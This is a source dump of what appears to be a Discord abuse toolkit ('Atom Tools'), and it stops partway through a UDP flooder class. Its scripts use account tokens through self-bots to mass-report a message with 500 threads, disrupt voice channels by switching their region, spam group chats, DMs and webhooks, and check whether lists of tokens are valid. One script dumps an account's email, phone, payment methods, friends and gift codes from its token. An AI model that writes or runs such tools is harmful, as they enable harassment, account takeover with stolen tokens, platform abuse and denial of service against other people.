commands.Bot(command_prefix="!", self_bot=True, intents=intents) 22 | bot.remove_command("help") 23 | 24 | @bot.command() 25 | async def clear(ctx, limit: int=None): 26 | """Command to clear messages from a DM channel.""" 27 | if not limit or limit <= 0: 28 | limit = 100 29 | passed = 0 30 | failed = 0 31 | 32 | async for msg in ctx.message.channel.history(limit=limit): 33 | if msg.author.id == bot.user.id: 34 | try: 35 | await msg.delete() 36 | passed += 1 37 | except Exception as e: 38 | failed += 1 39 | error_message(f"Failed to delete message: {e}") 40 | 41 | print(f"\nRemoved {passed} messages with {failed} fails") 42 | input("\nPress ENTER to exit") 43 | main() 44 | 45 | try: 46 | bot.run(token, bot=False) 47 | except discord.LoginFailure: 48 | error_message("Invalid token provided. Please check your token and try again.") 49 | except Exception as e: 50 | error_message(f"An error occurred: {e}") 51 | 52 | if __name__ == "__main__": 53 | main() 54 | -------------------------------------------------------------------------------- /utils/discord/discord_massreport.py: -------------------------------------------------------------------------------- 1 | import requests 2 | import threading 3 | import os 4 | from pystyle import Colors 5 | 6 | DEFAULT_REPORT_REASON = "Inappropriate content" 7 | 8 | def clear(): 9 | """Clear the terminal screen.""" 10 | os.system('cls' if os.name == 'nt' else 'clear') 11 | 12 | def report_message(token, guild_id, channel_id, message_id, reason): 13 | """Send a single report request.""" 14 | url = 'https://discord.com/api/v8/report' 15 | headers = { 16 | 'Accept': '*/*', 17 | 'Accept-Encoding': 'gzip, deflate', 18 | 'Accept-Language': 'en-US', 19 | 'User-Agent': 'Discord/21295 CFNetwork/1128.0.1 Darwin/19.6.0', 20 | 'Content-Type': 'application/json', 21 | 'Authorization': f'Bot {token}' 22 | } 23 | payload = { 24 | 'channel_id': channel_id, 25 | 'message_id': message_id, 26 | 'guild_id': guild_id, 27 | 'reason': reason 28 | } 29 | 30 | response = requests.post(url, json=payload, headers=headers) 31 | 32 | status = response.status_code 33 | response_message = response.json().get('message', 'Unknown error') 34 | 35 | if status == 201: 36 | print(f"Report successfully sent for message ID {message_id}!") 37 | elif status in (401, 403): 38 | print(f"Authorization Error: {response_message}") 39 | else: 40 | print(f"Error: {response_message} | Status Code: {status}") 41 | 42 | def mass_report(token, guild_id, channel_id, message_id, reason): 43 | """Create multiple threads to send report requests.""" 44 | for _ in range(500): 45 | threading.Thread(target=report_message, args=(token, guild_id, channel_id, message_id, reason)).start() 46 | 47 | if __name__ == "__main__": 48 | clear() 49 | token = input(f"{Colors.red}Enter your Discord token: ") 50 | guild_id = input(f"{Colors.red}Enter the server ID: ") 51 | channel_id = input(f"{Colors.red}Enter the channel ID: ") 52 | message_id = input(f"{Colors.red}Enter the message ID: ") 53 | 54 | reason = input(f"{Colors.red}Enter the report reason (default: {DEFAULT_REPORT_REASON}): ").strip() 55 | if not reason: 56 | reason = DEFAULT_REPORT_REASON 57 | 58 | mass_report(token, guild_id, channel_id, message_id, reason) 59 | -------------------------------------------------------------------------------- /utils/discord/dos_voice.py: -------------------------------------------------------------------------------- 1 | import discord 2 | import asyncio 3 | import os 4 | from pystyle import Colors 5 | 6 | def clear_screen(): 7 | os.system('cls' if os.name == 'nt' else 'clear') 8 | 9 | def get_token(): 10 | clear_screen() 11 | token = input(f"{Colors.red}Enter your Discord token: {Colors.reset}") 12 | if not token: 13 | raise ValueError(f"{Colors.red}You must provide a token.{Colors.reset}") 14 | return token 15 | 16 | intents = discord.Intents.all() 17 | client = discord.Client(intents=intents, self_bot=True) 18 | 19 | async def sleep(ms): 20 | await asyncio.sleep(ms / 1000) 21 | 22 | async def main(): 23 | channel_id = input(f"{Colors.red}Enter the voice channel ID: {Colors.reset}") 24 | channel = client.get_channel(int(channel_id)) 25 | if not channel: 26 | print(f"{Colors.red}No channel found{Colors.reset}") 27 | await sleep(2000) 28 | await main() 29 | return 30 | 31 | i = 0 32 | regions = ["japan", "hongkong", "russia", "india", "brazil", "sydney", "rotterdam", "singapore"] 33 | 34 | while True: 35 | print(f"{Colors.red}Changing Channel Region...{Colors.reset}") 36 | try: 37 | await channel.edit(rtc_region=regions[i]) 38 | except Exception as e: 39 | print(f"{Colors.red}Error: {e}{Colors.reset}") 40 | i = (i + 1) % len(regions) 41 | await asyncio.sleep(1) 42 | 43 | @client.event 44 | async def on_ready(): 45 | await main() 46 | 47 | if __name__ == "__main__": 48 | token = get_token() 49 | client.run(token, bot=False) 50 | -------------------------------------------------------------------------------- /utils/discord/groupe_spammer.py: -------------------------------------------------------------------------------- 1 | import requests 2 | import random 3 | from time import sleep 4 | 5 | def clear(): 6 | print("\033c", end="") 7 | 8 | def proxy(): 9 | return None 10 | 11 | def getheaders(token): 12 | return { 13 | "Authorization": token, 14 | "Content-Type": "application/json" 15 | } 16 | 17 | def handle_error(message): 18 | print(f"Error: {message}") 19 | 20 | def main(): 21 | clear() 22 | print("Returning to main menu...") 23 | 24 | def selector(token, users): 25 | clear() 26 | while True: 27 | try: 28 | response = requests.post( 29 | 'https://discordapp.com/api/v9/users/@me/channels', 30 | proxies=proxy(), 31 | headers=getheaders(token), 32 | json={"recipients": users} 33 | ) 34 | 35 | if response.status_code in [200, 204]: 36 | print("Created groupchat") 37 | elif response.status_code == 429: 38 | print(f"Rate limited ({response.json().get('retry_after', 'N/A')}ms)") 39 | else: 40 | handle_error(f"HTTP {response.status_code}") 41 | except Exception as e: 42 | handle_error(str(e)) 43 | except KeyboardInterrupt: 44 | break 45 | main() 46 | 47 | def randomizer(token, IDs): 48 | while True: 49 | users = random.sample(IDs, 2) 50 | try: 51 | response = requests.post( 52 | 'https://discordapp.com/api/v9/users/@me/channels', 53 | proxies={"http": f'{proxy()}'}, 54 | headers=getheaders(token), 55 | json={"recipients": users} 56 | ) 57 | 58 | if response.status_code in [200, 204]: 59 | print("Created groupchat") 60 | elif response.status_code == 429: 61 | print(f"Rate limited ({response.json().get('retry_after', 'N/A')}ms)") 62 | else: 63 | handle_error(f"HTTP {response.status_code}") 64 | except Exception as e: 65 | handle_error(str(e)) 66 | except KeyboardInterrupt: 67 | break 68 | main() 69 | 70 | clear() 71 | token = input("Your Account Token: ") 72 | 73 | print('\nDo you want to choose user(s) yourself to groupchat spam or do you want to select randoms?') 74 | print(''' 75 | [01] Choose user(s) yourself 76 | [02] Randomize the users 77 | ''') 78 | try: 79 | secondchoice = int(input('Choice: ')) 80 | except ValueError: 81 | handle_error("Invalid input. Please enter a number.") 82 | main() 83 | 84 | if secondchoice not in [1, 2]: 85 | handle_error('Invalid Choice') 86 | main() 87 | 88 | if secondchoice == 1: 89 | print('\nInput the users you want to create a groupchat with (separate by , id,id2,id3)') 90 | recipients = input('Users ID: ') 91 | user = recipients.split(',') 92 | if len(user) < 2: 93 | handle_error("You need to input at least two user IDs, separated by commas.") 94 | main() 95 | input('\n\n\nPress enter to continue ("ctrl + c" at anytime to stop)') 96 | selector(token, user) 97 | 98 | elif secondchoice == 2: 99 | IDs = [] 100 | try: 101 | friendIds = requests.get( 102 | "https://discord.com/api/v9/users/@me/relationships", 103 | proxies={"http": f'http://{proxy()}'}, 104 | headers=getheaders(token) 105 | ).json() 106 | for friend in friendIds: 107 | IDs.append(friend['id']) 108 | except Exception as e: 109 | handle_error(f"Failed to get friend IDs: {str(e)}") 110 | main() 111 | input('Press enter to continue ("ctrl + c" at anytime to stop)') 112 | randomizer(token, IDs) 113 | 114 | if __name__ == "__main__": 115 | main() 116 | -------------------------------------------------------------------------------- /utils/discord/server_info.py: -------------------------------------------------------------------------------- 1 | import requests 2 | import os 3 | 4 | def clear(): 5 | os.system('cls' if os.name == 'nt' else 'clear') 6 | 7 | def print_error(message): 8 | print(f"Error: {message}") 9 | 10 | def print_info(message): 11 | print(message) 12 | 13 | def print_header(header): 14 | print(header) 15 | 16 | def server_lookup(): 17 | clear() 18 | invitelink = input("Insert end part of link of discord server link: ").strip() 19 | clear() 20 | 21 | try: 22 | if "discord.gg" in invitelink: 23 | code = invitelink.split('/')[-1] 24 | else: 25 | code = invitelink 26 | 27 | res = requests.get(f"https://discord.com/api/v9/invites/{code}") 28 | 29 | if res.status_code == 200: 30 | res_json = res.json() 31 | 32 | print_header("Invitation Information:") 33 | print_info(f"Invite Link: https://discord.gg/{res_json['code']}") 34 | print_info(f"Channel: {res_json['channel']['name']} ({res_json['channel']['id']})") 35 | print_info(f"Expiration Date: {res_json['expires_at']}\n") 36 | 37 | print_header("Inviter Information:") 38 | print_info(f"Username: {res_json['inviter']['username']}#{res_json['inviter']['discriminator']}") 39 | print_info(f"User ID: {res_json['inviter']['id']}\n") 40 | 41 | print_header("Server Information:") 42 | print_info(f"Name: {res_json['guild']['name']}") 43 | print_info(f"Server ID: {res_json['guild']['id']}") 44 | print_info(f"Banner: {res_json['guild']['banner']}") 45 | print_info(f"Description: {res_json['guild']['description']}") 46 | print_info(f"Custom Invite Link: {res_json['guild']['vanity_url_code']}") 47 | print_info(f"Verification Level: {res_json['guild']['verification_level']}") 48 | print_info(f"Splash: {res_json['guild']['splash']}") 49 | print_info(f"Features: {', '.join(res_json['guild']['features'])}") 50 | else: 51 | print_error(f"An error occurred while sending request (Status Code: {res.status_code})") 52 | 53 | except Exception as e: 54 | print_error(f"Error: {e}") 55 | 56 | def main(): 57 | clear() 58 | 59 | while True: 60 | server_lookup() 61 | input("\nPress ENTER to return to the main menu") 62 | clear() 63 | 64 | if __name__ == "__main__": 65 | main() 66 | -------------------------------------------------------------------------------- /utils/discord/status_rotator.py: -------------------------------------------------------------------------------- 1 | import requests 2 | import time 3 | import threading 4 | 5 | def get_headers(token): 6 | headers = { 7 | 'Authorization': token, 8 | 'Content-Type': 'application/json', 9 | } 10 | return headers 11 | 12 | def clear(): 13 | print("\033c", end="") 14 | 15 | def read_status_texts(): 16 | print("\nEnter the status texts you want to set, and type 'FIN' when you are done:") 17 | status_texts = [] 18 | index = 1 19 | 20 | while True: 21 | line = input(f'Status {index} : ') 22 | 23 | if line.upper() == "FIN": 24 | break 25 | 26 | status_texts.append(line) 27 | index += 1 28 | 29 | return status_texts 30 | 31 | def get_user_id(token): 32 | headers = get_headers(token) 33 | try: 34 | r = requests.get("https://discord.com/api/v6/users/@me", headers=headers) 35 | if r.status_code == 200: 36 | return r.json()['id'] 37 | else: 38 | return None 39 | except Exception as e: 40 | return None 41 | 42 | def change_status(token, text): 43 | headers = get_headers(token) 44 | setting = { 45 | 'custom_status': { 46 | 'text': text, 47 | }, 48 | } 49 | try: 50 | r = requests.patch("https://discord.com/api/v6/users/@me/settings", headers=headers, json=setting) 51 | if r.status_code == 200: 52 | print(f'token={token[:20]}... [SUCCESS]') 53 | else: 54 | print(f"token={token[:20]}... [ERROR] ({r.status_code})") 55 | except Exception as e: 56 | print(f"Error: {e}") 57 | 58 | def status_changer(): 59 | clear() 60 | 61 | token = input('Enter your token: ') 62 | 63 | status_texts = read_status_texts() 64 | 65 | while True: 66 | try: 67 | time_frequency = int(input('Time between each status change (in seconds): ')) 68 | break 69 | except ValueError: 70 | print('Please enter an integer for the time.') 71 | 72 | user_id = get_user_id(token) 73 | if not user_id: 74 | print("Unable to retrieve user ID. Exiting the program.") 75 | return 76 | 77 | try: 78 | while True: 79 | for text in status_texts: 80 | thread = threading.Thread(target=change_status, args=(token, text)) 81 | thread.start() 82 | thread.join() 83 | time.sleep(time_frequency) 84 | except KeyboardInterrupt: 85 | print("\nStatus change interrupted.") 86 | 87 | if __name__ == "__main__": 88 | status_changer() 89 | -------------------------------------------------------------------------------- /utils/discord/token_checker.py: -------------------------------------------------------------------------------- 1 | import requests 2 | import time 3 | import os 4 | 5 | def clear(): 6 | os.system('cls' if os.name == 'nt' else 'clear') 7 | 8 | def print_title(title): 9 | print(f"{'=' * 60}\n{title}\n{'=' * 60}") 10 | 11 | def print_error(message): 12 | print(f"Error: {message}") 13 | 14 | def print_info(message): 15 | print(f"{message}") 16 | 17 | def print_warning(message): 18 | print(f"Warning: {message}") 19 | 20 | def main(): 21 | clear() 22 | 23 | file_path = input("Enter the file path: ").strip() 24 | 25 | if not file_path: 26 | print_error("No file path provided.") 27 | return 28 | 29 | token_list = load_tokens(file_path) 30 | if not token_list: 31 | print_error("No tokens loaded.") 32 | return 33 | 34 | while True: 35 | check_and_display_results(token_list) 36 | choice = input("\nDo you want to check tokens again? (y/n): ").strip().lower() 37 | if choice != 'y': 38 | break 39 | 40 | def load_tokens(file_path): 41 | loaded_amount = 0 42 | token_list = [] 43 | try: 44 | with open(file_path, "r") as checklist: 45 | tokens = checklist.readlines() 46 | for token in tokens: 47 | token_list.append(token.strip()) 48 | loaded_amount += 1 49 | print_info(f"{loaded_amount} Tokens Loaded") 50 | input("Press ENTER to start checking tokens...") 51 | return token_list 52 | except FileNotFoundError: 53 | print_error("File not found") 54 | input("Press ENTER to exit") 55 | return [] 56 | 57 | def check_and_display_results(token_list): 58 | clear() 59 | print_title("Token Checking Results") 60 | valid_tokens = [] 61 | invalid_tokens = [] 62 | rate_limit = False 63 | 64 | for token in token_list: 65 | if rate_limit: 66 | print_warning('Rate limited...') 67 | time.sleep(60) 68 | rate_limit = False 69 | 70 | headers = {"Authorization": token} 71 | try: 72 | r1 = requests.post('https://discord.com/api/v9/auth/login', headers=headers) 73 | if r1.status_code == 429: 74 | rate_limit = True 75 | continue 76 | elif r1.status_code == 401: 77 | print_error(f"Invalid: {token}") 78 | invalid_tokens.append(token) 79 | continue 80 | elif r1.status_code != 200: 81 | print_error(f"Unknown error: {token} (Status Code: {r1.status_code})") 82 | invalid_tokens.append(token) 83 | continue 84 | 85 | r = requests.get('https://discord.com/api/v9/users/@me', headers=headers) 86 | if r.status_code == 429: 87 | rate_limit = True 88 | continue 89 | elif r.status_code == 401: 90 | print_warning(f"Verification required: {token}") 91 | invalid_tokens.append(token) 92 | elif r.status_code == 200: 93 | print_info(f"Valid: {token}") 94 | valid_tokens.append(token) 95 | else: 96 | print_error(f"Unknown error: {token} (Status Code: {r.status_code})") 97 | invalid_tokens.append(token) 98 | 99 | except requests.exceptions.RequestException as e: 100 | print_error(f"Request error: {e}") 101 | invalid_tokens.append(token) 102 | 103 | print("\n\n+ Results:") 104 | 105 | if valid_tokens: 106 | print_info("Valid tokens:") 107 | for token in valid_tokens: 108 | print(f" + {token}") 109 | 110 | if invalid_tokens: 111 | print("\nInvalid tokens:") 112 | for token in invalid_tokens: 113 | print(f" ! {token}") 114 | 115 | if __name__ == "__main__": 116 | main() 117 | -------------------------------------------------------------------------------- /utils/discord/token_decrypt.py: -------------------------------------------------------------------------------- 1 | import os 2 | import base64 3 | 4 | def clear(): 5 | os.system('cls' if os.name == 'nt' else 'clear') 6 | 7 | def main(): 8 | pass 9 | 10 | clear() 11 | userid = input(f"Discord ID : ") 12 | encodedBytes = base64.b64encode(userid.encode("utf-8")) 13 | encodedStr = str(encodedBytes, "utf-8") 14 | print(f'\nFIRST PART : {encodedStr}') 15 | 16 | if __name__ == "__main__": 17 | main() -------------------------------------------------------------------------------- /utils/discord/token_info.py: -------------------------------------------------------------------------------- 1 | import requests 2 | from datetime import datetime, timezone 3 | 4 | def clear(): 5 | import os 6 | os.system('cls' if os.name == 'nt' else 'clear') 7 | 8 | def print_title(title): 9 | print(f"{'=' * 60}\n{title}\n{'=' * 60}") 10 | 11 | def print_error(message): 12 | print(f"Error: {message}") 13 | 14 | def print_info(message): 15 | print(f"{message}") 16 | 17 | def print_warning(message): 18 | print(f"Warning: {message}") 19 | 20 | def display_discord_info(token_discord): 21 | try: 22 | headers = {'Authorization': token_discord, 'Content-Type': 'application/json'} 23 | 24 | user = requests.get('https://discord.com/api/v8/users/@me', headers=headers).json() 25 | r = requests.get('https://discord.com/api/v8/users/@me', headers=headers) 26 | 27 | status = "Valid" if r.status_code == 200 else "Invalid" 28 | 29 | username_discord = user.get('username', "None") + '#' + user.get('discriminator', "None") 30 | display_name_discord = user.get('global_name', "None") 31 | user_id_discord = user.get('id', "None") 32 | email_discord = user.get('email', "None") 33 | email_verified_discord = "Yes" if user.get('verified') else "No" 34 | phone_discord = user.get('phone', "None") 35 | mfa_discord = "Yes" if user.get('mfa_enabled') else "No" 36 | country_discord = user.get('locale', "None") 37 | 38 | created_at_discord = "None" 39 | if 'id' in user: 40 | created_at_discord = datetime.fromtimestamp(((int(user['id']) >> 22) + 1420070400000) / 1000, timezone.utc).strftime('%Y-%m-%d %H:%M:%S') 41 | 42 | nitro_discord = {0: 'False', 1: 'Nitro Classic', 2: 'Nitro Boosts', 3: 'Nitro Basic'}.get(user.get('premium_type'), 'None') 43 | 44 | avatar_url_discord = f"https://cdn.discordapp.com/avatars/{user_id_discord}/{user.get('avatar')}.png" 45 | if requests.get(avatar_url_discord).status_code != 200: 46 | avatar_url_discord = "None" 47 | 48 | avatar_discord = user.get('avatar', "None") 49 | avatar_decoration_discord = str(user.get('avatar_decoration_data', "None")) 50 | public_flags_discord = str(user.get('public_flags', "None")) 51 | flags_discord = str(user.get('flags', "None")) 52 | banner_discord = user.get('banner', "None") 53 | banner_color_discord = user.get('banner_color', "None") 54 | accent_color_discord = user.get("accent_color", "None") 55 | nsfw_discord = "Yes" if user.get('nsfw_allowed') else "No" 56 | linked_users_discord = ' / '.join([str(linked_user) for linked_user in user.get('linked_users', [])]) or "None" 57 | bio_discord = "\n" + user.get('bio', "None") 58 | 59 | authenticator_types_discord = ' / '.join([str(authenticator_type) for authenticator_type in user.get('authenticator_types', [])]) or "None" 60 | 61 | guilds_response = requests.get('https://discord.com/api/v9/users/@me/guilds?with_counts=true', headers=headers) 62 | guild_count = "None" 63 | owner_guild_count = "None" 64 | owner_guilds_names = "None" 65 | 66 | if guilds_response.status_code == 200: 67 | guilds = guilds_response.json() 68 | guild_count = len(guilds) 69 | owner_guilds = [guild for guild in guilds if guild['owner']] 70 | owner_guild_count = f"({len(owner_guilds)})" 71 | owner_guilds_names = "\n" + "\n".join([f"{guild['name']} ({guild['id']})" for guild in owner_guilds]) 72 | 73 | billing_discord = requests.get('https://discord.com/api/v6/users/@me/billing/payment-sources', headers=headers).json() 74 | payment_methods_discord = ' / '.join(['CB' if method['type'] == 1 else 'Paypal' if method['type'] == 2 else 'Other' for method in billing_discord]) or "None" 75 | 76 | friends_response = requests.get('https://discord.com/api/v8/users/@me/relationships', headers=headers) 77 | friends_discord = "None" 78 | 79 | if friends_response.status_code == 200: 80 | friends = friends_response.json() 81 | friends_list = [f"{friend['user']['username']}#{friend['user']['discriminator']} ({friend['user']['id']})" for friend in friends if friend['type'] not in [64, 128, 256, 1048704]] 82 | friends_discord = ' / '.join(friends_list) or "None" 83 | 84 | with open('friends_list.txt', 'w', encoding='utf-8') as file: 85 | for friend in friends_list: 86 | file.write(friend + '\n') 87 | 88 | gift_codes_response = requests.get('https://discord.com/api/v9/users/@me/outbound-promotions/codes', headers=headers) 89 | gift_codes_discord = "None" 90 | 91 | if gift_codes_response.status_code == 200: 92 | gift_codes = gift_codes_response.json() 93 | codes = [f"Gift: {gift_code['promotion']['outbound_title']}\nCode: {gift_code['code']}" for gift_code in gift_codes] 94 | gift_codes_discord = '\n\n'.join(codes) if codes else "None" 95 | 96 | print(f""" 97 | Status : {status} 98 | Token : {token_discord} 99 | Username : {username_discord} 100 | Display Name : {display_name_discord} 101 | Id : {user_id_discord} 102 | Created : {created_at_discord} 103 | Country : {country_discord} 104 | Email : {email_discord} 105 | Verified : {email_verified_discord} 106 | Phone : {phone_discord} 107 | Nitro : {nitro_discord} 108 | Linked Users : {linked_users_discord} 109 | Avatar Decor : {avatar_decoration_discord} 110 | Avatar : {avatar_discord} 111 | Avatar URL : {avatar_url_discord} 112 | Accent Color : {accent_color_discord} 113 | Banner : {banner_discord} 114 | Banner Color : {banner_color_discord} 115 | Flags : {flags_discord} 116 | Public Flags : {public_flags_discord} 117 | NSFW : {nsfw_discord} 118 | Multi-Factor Authentication : {mfa_discord} 119 | Authenticator Type : {authenticator_types_discord} 120 | Billing : {payment_methods_discord} 121 | Gift Code : {gift_codes_discord} 122 | Guilds : {guild_count} 123 | Owner Guilds : {owner_guild_count} {owner_guilds_names} 124 | Bio : {bio_discord} 125 | """) 126 | 127 | input("Press Enter to return to the main menu...") 128 | 129 | except Exception as e: 130 | print_error(f"Error when retrieving information: {e}") 131 | 132 | if __name__ == "__main__": 133 | clear() 134 | try: 135 | print_title("Discord Info Fetcher") 136 | token_discord = input("Enter Discord token: ") 137 | display_discord_info(token_discord) 138 | clear() 139 | except Exception as e: 140 | print_error(e) 141 | -------------------------------------------------------------------------------- /utils/discord/token_massdm.py: -------------------------------------------------------------------------------- 1 | import json 2 | import requests 3 | import os 4 | import threading 5 | 6 | def clear(): 7 | os.system('cls' if os.name == 'nt' else 'clear') 8 | 9 | def print_title(title): 10 | print(f"{'=' * 60}\n{title}\n{'=' * 60}") 11 | 12 | def print_error(message): 13 | print(f"Error: {message}") 14 | 15 | def print_info(message): 16 | print(f"{message}") 17 | 18 | def get_dm_channel_ids(token_discord): 19 | try: 20 | response = requests.get("https://discord.com/api/v9/users/@me/channels", headers={'Authorization': token_discord}) 21 | 22 | if response.status_code == 200: 23 | channels = response.json() 24 | dm_channel_ids = [channel['id'] for channel in channels if channel['type'] == 1] 25 | return dm_channel_ids 26 | else: 27 | print_error(f"Status code {response.status_code}: Unable to fetch DM channels.") 28 | return [] 29 | 30 | except Exception as e: 31 | print_error(f"Error fetching DM channel IDs: {e}") 32 | return [] 33 | 34 | def save_ids_to_json(dm_channel_ids, filename): 35 | try: 36 | with open(filename, 'w') as f: 37 | json.dump(dm_channel_ids, f, indent=4) 38 | print_info(f"Saved all DM channel IDs to {filename}.") 39 | except Exception as e: 40 | print_error(f"Error saving IDs to JSON: {e}") 41 | 42 | def mass_dm(token_discord, dm_channel_ids, message): 43 | try: 44 | for channel_id in dm_channel_ids: 45 | response = requests.post(f"https://discord.com/api/v9/channels/{channel_id}/messages", 46 | headers={'Authorization': token_discord, 'Content-Type': 'application/json'}, 47 | json={"content": message}) 48 | if response.status_code == 200: 49 | print_info(f"Message sent to channel ID: {channel_id}") 50 | else: 51 | print_error(f"Status code {response.status_code}: Unable to send message to channel ID: {channel_id}") 52 | 53 | except Exception as e: 54 | print_error(f"Error sending message: {e}") 55 | 56 | def execute_mass_dm(): 57 | try: 58 | clear() 59 | token_discord = input("Enter your Discord token: ").strip() 60 | message = input("Enter the message to send: ").strip() 61 | output_file = "dm_channel_ids.json" 62 | 63 | dm_channel_ids = get_dm_channel_ids(token_discord) 64 | 65 | if not dm_channel_ids: 66 | print_error("No DM channel IDs collected. Exiting.") 67 | return 68 | 69 | save_ids_to_json(dm_channel_ids, output_file) 70 | print_info(f"Total DM channel IDs collected: {len(dm_channel_ids)}") 71 | 72 | proceed = input("Do you want to send the message to all collected DM channels? (y/n): ").strip().lower() 73 | 74 | if proceed == 'y': 75 | for channel_id in dm_channel_ids: 76 | t = threading.Thread(target=mass_dm, args=(token_discord, [channel_id], message)) 77 | t.start() 78 | t.join() 79 | print_info(f"Finished sending messages to channel {channel_id}.") 80 | else: 81 | print_info("Exiting without sending messages.") 82 | 83 | input("Press Enter to return to the main menu...") 84 | 85 | except Exception as e: 86 | print_error(f"Error: {e}") 87 | 88 | def display_menu(): 89 | clear() 90 | menu = """ 91 | Atom Tools - Main Menu 92 | ─────────────────────────────── 93 | 1. Mass DM to Discord Channels 94 | 2. Exit 95 | """ 96 | print(menu) 97 | 98 | def handle_menu_choice(choice): 99 | if choice == '1': 100 | execute_mass_dm() 101 | elif choice == '2': 102 | print_info("Exiting program.") 103 | exit(0) 104 | else: 105 | print_error("Invalid choice. Please enter a valid option.") 106 | 107 | def run_menu(): 108 | while True: 109 | display_menu() 110 | choice = input("Enter your choice: ").strip() 111 | 112 | handle_menu_choice(choice) 113 | 114 | if __name__ == "__main__": 115 | run_menu() 116 | -------------------------------------------------------------------------------- /utils/discord/webhook_info.py: -------------------------------------------------------------------------------- 1 | import requests 2 | import os 3 | 4 | def clear(): 5 | os.system('cls' if os.name == 'nt' else 'clear') 6 | 7 | def print_info(message): 8 | print(message) 9 | 10 | def print_error(message): 11 | print(f"[ERROR] {message}") 12 | 13 | def info_webhook(webhook_url): 14 | headers = { 15 | 'Content-Type': 'application/json', 16 | } 17 | 18 | try: 19 | response = requests.get(webhook_url, headers=headers) 20 | response.raise_for_status() 21 | webhook_info = response.json() 22 | clear() 23 | print("\nInformation Webhook:") 24 | 25 | print(f"ID : {webhook_info.get('id', 'None')}") 26 | print(f"Token : {webhook_info.get('token', 'None')}") 27 | print(f"Name : {webhook_info.get('name', 'None')}") 28 | print(f"Avatar : {webhook_info.get('avatar', 'None')}") 29 | print(f"Type : {'bot' if webhook_info.get('type') == 1 else 'webhook utilisateur'}") 30 | print(f"Channel ID : {webhook_info.get('channel_id', 'None')}") 31 | print(f"Server ID : {webhook_info.get('guild_id', 'None')}") 32 | 33 | print("\nUser information associated with the Webhook:") 34 | if 'user' in webhook_info and webhook_info['user']: 35 | user_info = webhook_info['user'] 36 | print(f"ID : {user_info.get('id', 'None')}") 37 | print(f"Name : {user_info.get('username', 'None')}") 38 | print(f"DisplayName : {user_info.get('global_name', 'None')}") 39 | print(f"Number : {user_info.get('discriminator', 'None')}") 40 | print(f"Avatar : {user_info.get('avatar', 'None')}") 41 | print(f"Flags : {user_info.get('flags', 'None')} Publique: {user_info.get('public_flags', 'None')}") 42 | print(f"Color : {user_info.get('accent_color', 'None')}") 43 | print(f"Decoration : {user_info.get('avatar_decoration_data', 'None')}") 44 | print(f"Banner : {user_info.get('banner_color', 'None')}") 45 | print("") 46 | else: 47 | print("\nNo user information associated with the Webhook.") 48 | 49 | except requests.exceptions.RequestException as e: 50 | print_error(e) 51 | handle_error() 52 | 53 | def handle_error(): 54 | try: 55 | webhook_url = input("Webhook URL :").strip() 56 | info_webhook(webhook_url) 57 | except Exception as e: 58 | print_error(f"Error during URL input: {e}") 59 | 60 | if __name__ == "__main__": 61 | clear() 62 | webhook_url = input("Enter Webhook URL: ").strip() 63 | info_webhook(webhook_url) 64 | -------------------------------------------------------------------------------- /utils/discord/webhook_spammer.py: -------------------------------------------------------------------------------- 1 | import requests 2 | import time 3 | import threading 4 | from pystyle import Colors 5 | 6 | def clear(): 7 | print("\033c", end="") 8 | 9 | def setTitle(title): 10 | print(f"\033]0;{title}\007") 11 | 12 | 13 | def main(): 14 | pass 15 | 16 | def webhookspam(): 17 | clear() 18 | webhook = input(f"{Colors.red}WebHook Link: ") 19 | try: 20 | requests.post(webhook, json={'content': ""}) 21 | except: 22 | print(f"Your WebHook is invalid !") 23 | time.sleep(2) 24 | clear() 25 | message = input(f"\n{Colors.red}Enter the message to spam ") 26 | amount = int(input(f"\n{Colors.red}Amount of messages to send ")) 27 | 28 | def spam(): 29 | try: 30 | requests.post(webhook, json={'content': message}) 31 | except Exception as e: 32 | print(f"Error: {e}") 33 | 34 | for x in range(amount): 35 | threading.Thread(target=spam).start() 36 | time.sleep(0.1) 37 | 38 | 39 | print(f"Webhook has been correctly spammed") 40 | input(f"\nPress ENTER to exit") 41 | clear() 42 | 43 | webhookspam() 44 | 45 | if __name__ == "__main__": 46 | main() -------------------------------------------------------------------------------- /utils/discord_massreport.py: -------------------------------------------------------------------------------- 1 | import requests 2 | import threading 3 | import os 4 | from pystyle import Colors 5 | 6 | DEFAULT_REPORT_REASON = "Inappropriate content" 7 | 8 | def clear(): 9 | os.system('cls' if os.name == 'nt' else 'clear') 10 | 11 | 12 | def MassReport(token, guild_id, channel_id, message_id, reason): 13 | for _ in range(500): 14 | threading.Thread(target=Report, args=(token, guild_id, channel_id, message_id, reason)).start() 15 | 16 | def Report(token, guild_id, channel_id, message_id, reason): 17 | url = 'https://discordapp.com/api/v8/report' 18 | headers = { 19 | 'Accept': '*/*', 20 | 'Accept-Encoding': 'gzip, deflate', 21 | 'Accept-Language': 'en-US', 22 | 'User-Agent': 'Discord/21295 CFNetwork/1128.0.1 Darwin/19.6.0', 23 | 'Content-Type': 'application/json', 24 | 'Authorization': token 25 | } 26 | payload = { 27 | 'channel_id': channel_id, 28 | 'message_id': message_id, 29 | 'guild_id': guild_id, 30 | 'reason': reason 31 | } 32 | 33 | response = requests.post(url, json=payload, headers=headers) 34 | 35 | status = response.status_code 36 | response_message = response.json().get('message', 'Unknown error') 37 | 38 | if status == 201: 39 | print("Report successfully sent!\n") 40 | elif status in (401, 403): 41 | print(f"{response_message}\n") 42 | else: 43 | print(f"Error: {response_message} | Status Code: {status}\n") 44 | 45 | if __name__ == "__main__": 46 | clear() 47 | token = input(f"{Colors.red}Enter your Discord token: ") 48 | guild_id = input(f"{Colors.red}Enter the server ID: ") 49 | channel_id = input(f"{Colors.red}Enter the channel ID: ") 50 | message_id = input(f"{Colors.red}Enter the message ID: ") 51 | 52 | reason = input(f"{Colors.red}Enter the report reason (default: {DEFAULT_REPORT_REASON}): ").strip() 53 | if not reason: 54 | reason = DEFAULT_REPORT_REASON 55 | 56 | MassReport(token, guild_id, channel_id, message_id, reason) 57 | -------------------------------------------------------------------------------- /utils/dos_ip.py: -------------------------------------------------------------------------------- 1 | from socket import socket, AF_INET, SOCK_DGRAM 2 | from threading import Thread 3 | import os 4 | from random import randint 5 | from time import time, sleep 6 | from getpass import getpass as hinput 7 | from pystyle import Colors 8 | 9 | def clear_screen(): 10 | os.system('cls' if os.name == 'nt' else 'clear') 11 | 12 | class UDPFlooder: 13 | def __init__(self, ip, port, packet_size, thread_count): 14 | self.ip = ip 15 | self.port = port 16 | self.packet_size = packet_size 17 | self.thread_count = thread_count 18 | 19 | self.client = socket(AF_INET, SOCK_DGRAM) 20 | self.packet_data = b"x" * self.packet_size 21 | self.packet_length = len(self.packet_data) 22 | 23 | def start_flood(self): 24 | self.is_active = True 25 | self.sent_bytes = 0 26 | for _ in range(self.thread_count): 27 | 